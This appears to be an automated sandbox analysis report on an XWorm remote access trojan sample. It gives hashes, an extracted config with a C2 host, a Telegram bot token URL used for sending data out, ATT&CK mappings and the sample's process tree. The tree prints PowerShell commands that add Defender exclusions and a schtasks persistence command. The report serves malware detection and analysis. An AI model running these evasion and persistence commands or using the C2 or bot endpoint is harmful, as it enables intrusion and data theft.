xworm | 940e9575b88e65925a1022c976cc1beb0a75c42d7a956a7b6e14bd7d48038a2b

General

Target

940e9575b88e65925a1022c976cc1beb0a75c42d7a956a7b6e14bd7d48038a2b.exe
Size

70KB
MD5

fc2adb95856fbd7850ffe80550556c84
SHA1

f763d8ebb60a91ebe560ad8bb1ebd26200c60311
SHA256

940e9575b88e65925a1022c976cc1beb0a75c42d7a956a7b6e14bd7d48038a2b
SHA512

895b3be411cc1cb2e4cd4561e40d20b95c6ae0292f2c8698ce0225a092a4a2320be4a2f5360f3010bca423ac4b8446dc8b637a9a2d2452e483cf82602c21d3d1
SSDEEP

1536:TLsxzl3saJFUumj5X6UWQbuoZhsWlQf6AeOqzTD23:TLspxs+UumvvbjdQaOq/K3

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

C2

different-da.gl.at.ply.gg:46568

Attributes

Install_directory
%AppData%
install_file
System.exe
telegram
https://api.telegram.org/bot7872237749:AAF0xKTawqNrsH-1Rsq1CxgAFFTtw942WZA/sendMessage?chat_id=867995626

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/4812-1-0x0000000000010000-0x0000000000028000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3484	powershell.exe
4968	powershell.exe
2136	powershell.exe
2424	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	940e9575b88e65925a1022c976cc1beb0a75c42d7a956a7b6e14bd7d48038a2b.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System.lnk	940e9575b88e65925a1022c976cc1beb0a75c42d7a956a7b6e14bd7d48038a2b.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System.lnk	940e9575b88e65925a1022c976cc1beb0a75c42d7a956a7b6e14bd7d48038a2b.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\System = "C:\\Users\\Admin\\AppData\\Roaming\\System.exe"	940e9575b88e65925a1022c976cc1beb0a75c42d7a956a7b6e14bd7d48038a2b.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
15	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3912	schtasks.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
3484	powershell.exe
3484	powershell.exe
4968	powershell.exe
4968	powershell.exe
2136	powershell.exe
2136	powershell.exe
2424	powershell.exe
2424	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	4812	940e9575b88e65925a1022c976cc1beb0a75c42d7a956a7b6e14bd7d48038a2b.exe
Token: SeDebugPrivilege	3484	powershell.exe
Token: SeDebugPrivilege	4968	powershell.exe
Token: SeDebugPrivilege	2136	powershell.exe
Token: SeDebugPrivilege	2424	powershell.exe
Token: SeDebugPrivilege	4812	940e9575b88e65925a1022c976cc1beb0a75c42d7a956a7b6e14bd7d48038a2b.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4812 wrote to memory of 3484	4812	940e9575b88e65925a1022c976cc1beb0a75c42d7a956a7b6e14bd7d48038a2b.exe	90
PID 4812 wrote to memory of 3484	4812	940e9575b88e65925a1022c976cc1beb0a75c42d7a956a7b6e14bd7d48038a2b.exe	90
PID 4812 wrote to memory of 4968	4812	940e9575b88e65925a1022c976cc1beb0a75c42d7a956a7b6e14bd7d48038a2b.exe	93
PID 4812 wrote to memory of 4968	4812	940e9575b88e65925a1022c976cc1beb0a75c42d7a956a7b6e14bd7d48038a2b.exe	93
PID 4812 wrote to memory of 2136	4812	940e9575b88e65925a1022c976cc1beb0a75c42d7a956a7b6e14bd7d48038a2b.exe	95
PID 4812 wrote to memory of 2136	4812	940e9575b88e65925a1022c976cc1beb0a75c42d7a956a7b6e14bd7d48038a2b.exe	95
PID 4812 wrote to memory of 2424	4812	940e9575b88e65925a1022c976cc1beb0a75c42d7a956a7b6e14bd7d48038a2b.exe	97
PID 4812 wrote to memory of 2424	4812	940e9575b88e65925a1022c976cc1beb0a75c42d7a956a7b6e14bd7d48038a2b.exe	97
PID 4812 wrote to memory of 3912	4812	940e9575b88e65925a1022c976cc1beb0a75c42d7a956a7b6e14bd7d48038a2b.exe	100
PID 4812 wrote to memory of 3912	4812	940e9575b88e65925a1022c976cc1beb0a75c42d7a956a7b6e14bd7d48038a2b.exe	100

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\940e9575b88e65925a1022c976cc1beb0a75c42d7a956a7b6e14bd7d48038a2b.exe
"C:\Users\Admin\AppData\Local\Temp\940e9575b88e65925a1022c976cc1beb0a75c42d7a956a7b6e14bd7d48038a2b.exe"
1⤵
- Checks computer location settings
- Drops startup file
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4812
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\940e9575b88e65925a1022c976cc1beb0a75c42d7a956a7b6e14bd7d48038a2b.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3484
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '940e9575b88e65925a1022c976cc1beb0a75c42d7a956a7b6e14bd7d48038a2b.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\System.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2136
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'System.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2424
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "System" /tr "C:\Users\Admin\AppData\Roaming\System.exe"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3912

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Scheduled Task/Job

1

T1053

Scheduled Task

1

T1053.005

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
59d97011e091004eaffb9816aa0b9abd

SHA1
1602a56b01dd4b7c577ca27d3117e4bcc1aa657b

SHA256
18f381e0db020a763b8c515c346ef58679ab9c403267eacfef5359e272f7e71d

SHA512
d9ca49c1a17580981e2c1a50d73c0eecaa7a62f8514741512172e395af2a3d80aeb0f71c58bc7f52c18246d57ba67af09b6bff4776877d6cc6f0245c30e092d6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
ce4540390cc4841c8973eb5a3e9f4f7d

SHA1
2293f30a6f4c9538bc5b06606c10a50ab4ecef8e

SHA256
e834e1da338b9644d538cefd70176768816da2556939c1255d386931bd085105

SHA512
2a3e466cb5a81d2b65256053b768a98321eb3e65ff46353eefc9864f14a391748116f050e7482ddd73a51575bf0a6fc5c673023dade62dbd8b174442bae1cc6b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
ef72c47dbfaae0b9b0d09f22ad4afe20

SHA1
5357f66ba69b89440b99d4273b74221670129338

SHA256
692ec20c7039170fb199510f0436181fd155e6b4516d4d1c9e1675adf99aaa7f

SHA512
7514b6bc8dc39fa618223300be27cd535dc35b18c66b4a089e2302e72b3e0cac06d88a989fa1296feb386b3cbe2084019df6430c7f895071b76e04ce559a30b4

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ymck3d5z.1cy.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3484-14-0x00007FFFAC460000-0x00007FFFACF21000-memory.dmp

Filesize
10.8MB

Download
memory/3484-15-0x00007FFFAC460000-0x00007FFFACF21000-memory.dmp

Filesize
10.8MB

Download
memory/3484-18-0x00007FFFAC460000-0x00007FFFACF21000-memory.dmp

Filesize
10.8MB

Download
memory/3484-9-0x000001DA03580000-0x000001DA035A2000-memory.dmp

Filesize
136KB

Download
memory/3484-3-0x00007FFFAC460000-0x00007FFFACF21000-memory.dmp

Filesize
10.8MB

Download
memory/4812-0-0x00007FFFAC463000-0x00007FFFAC465000-memory.dmp

Filesize
8KB

Download
memory/4812-2-0x00007FFFAC460000-0x00007FFFACF21000-memory.dmp

Filesize
10.8MB

Download
memory/4812-1-0x0000000000010000-0x0000000000028000-memory.dmp

Filesize
96KB

Download
memory/4812-53-0x00007FFFAC463000-0x00007FFFAC465000-memory.dmp

Filesize
8KB

Download
memory/4812-58-0x00007FFFAC460000-0x00007FFFACF21000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads